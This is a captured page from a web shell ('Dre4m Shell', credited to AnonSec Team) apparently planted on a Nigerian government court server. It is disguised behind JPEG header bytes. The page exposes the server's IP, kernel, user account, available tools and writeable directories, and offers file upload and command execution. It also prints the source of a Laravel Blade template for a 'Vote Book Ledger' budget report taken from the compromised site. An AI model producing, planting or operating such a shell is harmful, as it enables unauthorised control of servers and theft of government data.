ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.80.92
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/c5e86502d0fd9291fcaa54bf7ac7225724ad8b03.php
<?php $__env->startSection('pageTitle'); ?>
     VOTE BOOK LEDGER
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
<div class="box box-default" style= "border:none;">

        <div class="box-body">
        
       <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=> "VOTE BOOK", 'title2'=>'', 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>0, 'hideLogos'=>0, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>   
        
        <div class="row">
			<div class="col-md-12">
				<?php if(count($errors) > 0): ?>
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong> 
					<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					<p><?php echo e($error); ?></p>
					<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
				</div>
				<?php endif; ?>

				<?php if(session('message')): ?>
				<div class="alert alert-success alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Success!</strong><br /> 
					<?php echo e(session('message')); ?>

				</div>                        
				<?php endif; ?>

				<?php if(session('error')): ?>
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong><br /> 
					<?php echo e(session('error')); ?>

				</div>                        
				<?php endif; ?>
			</div>
		</div><!-- /row -->
		
		
	            
		   <div class="box-body">
		      <form method="post" id="formData" action="<?php echo e(route('PostVoteBook')); ?>" >
		            <?php echo e(csrf_field()); ?>

    			        <div class="row hidden-print">
    	            		<div class="col-md-2">
        	            		<label>Account Type</label>
        				        <select name="budgettype" id="budgettype" class="form-control" onchange ="submitFormData();">
            		                <option value="" selected>---All---</option>
            		                <?php $__currentLoopData = $BudgetType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            						    <option value="<?php echo e(($b->ID ? $b->ID : $budgettype)); ?>" <?php echo e(($budgettype) == $b->ID? "selected":""); ?>><?php echo e($b->contractType); ?></option>
        		                	<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
        		                </select>
    	            		</div>
    	            		
    	            		<div class="col-md-3">
        	            		<label>Economic Head</label>
        				        <select name="economichead" id="economichead" class="form-control" onchange ="submitFormData();">
        		                    <option value="" selected>---All---</option>
        		                	<?php $__currentLoopData = $EconomicHead; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
        						        <option value="<?php echo e($b->ID); ?>" <?php echo e(($economichead) == $b->ID? "selected":""); ?>><?php echo e($b->economicHead); ?></option>
        		                	<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
        		                </select>
    	            		</div>
    	            		
    	            		<div class="col-md-3">
        	            		<label>Economic Codes</label>
        				        <select name="economiccode" id="economiccode" class="form-control" onchange ="">
        		                    <option value="" selected>---All---</option>
        		                	<?php $__currentLoopData = $EconomicCode; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $ecode): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
        						        <option value="<?php echo e($ecode->ID); ?>" <?php echo e(($economiccode) == $ecode->ID? "selected":""); ?>><?php echo e($ecode->economicCode); ?>|<?php echo e($ecode->description); ?></option>
        		                	<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
        		                </select>
    	            		</div> 
    	            		
    	            		<div class="col-md-4">
                                    <div class="col-md-12">
                            		    <div class="form-group">
                            			    <label class="text-left">Search By Date<span class="text-danger"></label>
                            			    <div id="reportrange" style="background: #fff; cursor: pointer; padding: 5px 10px; border: 1px solid #ccc; width: 100%">
                                                <i class="fa fa-calendar"></i>&nbsp;
                                                <span></span> <i class="fa fa-caret-down"></i>
                                                <input type="hidden" name="startDate" id="startDate" /> 
                                                <input type="hidden" name="endDate" id="endDate" />
                                            </div>
                                            <span class="text-uppercase text-success"><b></b></span>
                            			</div>
                                    </div>
                            </div>
                            
    	            </div>
    	            <div class="row hidden-print">
            		    <div align="center" >
                            <div class="col-md-12">
                        		 <div class="form-group">
                        		      <label>&nbsp;</label><br />
                        			  <button type="submit" class="btn btn-success" name="reload"><i class="fa fa-search"></i> Search</button>
                        		</div>
                            </div>
                        </div>
                    </div>
            	</form>
            	
                <hr />
	            	 
			
	            <div class="row">
	            </div>
            		<input id ="delcode" type="hidden"  name="delcode" >
            		
            		<div class="table-responsive" style="font-size: 12px; padding:10px;">
            			<table class="table table-bordered">
            			<thead>
            				<tr>
    			                <th class="text-center">PAYMENT DESCRIPTION</th>	
    			                <th class="text-center">ALLOCATION RECEIVED</th>	             
    			                <th class="text-center">PAYMENT AMOUNT</th>
    			                <th class="text-center">TOTAL</th>
    			                <th class="text-center">BALANCE</th>
    			           </tr>
			            </thead>
			            <?php 
			                $getTotalAmount = 0.0;
			                $getTotalPayment = 0.0;
			                $getTotalAllocation = 0.0;
			                $getTotalBalance = 0.0;
			                $getCurrentBalance = 0.0;
			            ?>
						<?php $__currentLoopData = $queryVoteBook; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $queryKey=>$listReport): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
						<?php
						    $getTotalAmount += $listReport->paymentAmount; 
						    $getTotalPayment += $getTotalAmount;
						    $getTotalAllocation += $getAllocationReceived[$queryKey];
						    $getTotalBalance = ($getTotalAllocation - $getTotalPayment);
						    $getCurrentBalance = ($getTotalSumAllocation - $getTotalAmount);
						?>
						
							<tr>
								<td class="text-justify" width="50%"><?php echo e($listReport->paymentDescription); ?></td>
								<td class="text-center"><?php echo e((is_numeric($getAllocationReceived[$queryKey]) ? number_format($getAllocationReceived[$queryKey], 2) : $getAllocationReceived[$queryKey])); ?></td>
								<td class="text-center"><?php echo e((is_numeric($listReport->paymentAmount) ? number_format($listReport->paymentAmount, 2) : $listReport->paymentAmount)); ?></td>
								<td class="text-center"><?php echo e((is_numeric($getTotalAmount) ? number_format($getTotalAmount, 2) : $getTotalAmount)); ?></td>
								<td class="text-center"><?php echo e((is_numeric($getCurrentBalance) ? number_format($getCurrentBalance, 2) : $getCurrentBalance)); ?></td>
							</tr>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>	
					    <tr>
							<td class="text-right"><strong>TOTAL: </strong></td>
							<td class="text-center"><strong><?php echo e((is_numeric($getTotalAllocation) ? number_format($getTotalAllocation, 2) : $getTotalAllocation)); ?></strong></td>
							<td class="text-center"><strong><?php echo e((is_numeric($getTotalPayment) ? number_format($getTotalPayment, 2) : $getTotalPayment)); ?></strong></td>
							<td class="text-center"><strong><?php echo e((is_numeric($getTotalAmount) ? number_format($getTotalAmount, 2) : $getTotalAmount)); ?></strong></td>
							<td class="text-center"><strong><?php echo e((is_numeric($getTotalBalance) ? number_format($getTotalBalance, 2) : $getTotalBalance)); ?></strong></td>
						</tr>
			    </table>
			 <button class="print hidden-print" type="submit" >Print</button>
		</div>
		</div>
	
	
</div>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>

    <link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

<style>
    .table tr th
    {
        text-transform:uppercase;
        font-size: 14px;
    }
    
    .table tr td
    {
        font-size: 14px;
    }
    
    @media  print{
        .hidden-print{display:none!important}
        .dt-buttons, .dataTables_info, .dataTables_paginate, .dataTables_filter
        {
            display:none!important
        }
    }
    
    .align
    { 
        text-align:right;
    }
</style>
<?php $__env->stopSection(); ?>


<?php $__env->startSection('scripts'); ?>

    <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
    <!--<script type="text/javascript" src="https://cdn.jsdelivr.net/jquery/latest/jquery.min.js"></script>-->
    <script type="text/javascript" src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" />
    
    <script type="text/javascript">
    
        //Submit budgettype
        function submitFormData(){
            $('#formData').submit();
        }
        
        //Date Range Picker
        $(function() {
            var start = moment().subtract(<?php echo e($numberOfDayTillDate-1); ?>, 'days'); 
            var end = moment();
            function calculateDateRange(start, end) {
                $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
                $('#startDate').val(start.format('YYYY-MM-D'));
                $('#endDate').val(end.format('YYYY-MM-D'));
            }
            $('#reportrange').daterangepicker({
                startDate: start,
                endDate: end,
                ranges: {
                    'Today': [moment(), moment()],
                    'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
                    'Last 7 Days': [moment().subtract(6, 'days'), moment()],
                    'Last 30 Days': [moment().subtract(29, 'days'), moment()],
                    'This Month': [moment().startOf('month'), moment().endOf('month')],
                    'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
                }
            }, calculateDateRange);
                calculateDateRange(start, end); 
            });
        //end date
            
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/voteBookReport/voteBookLedger.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team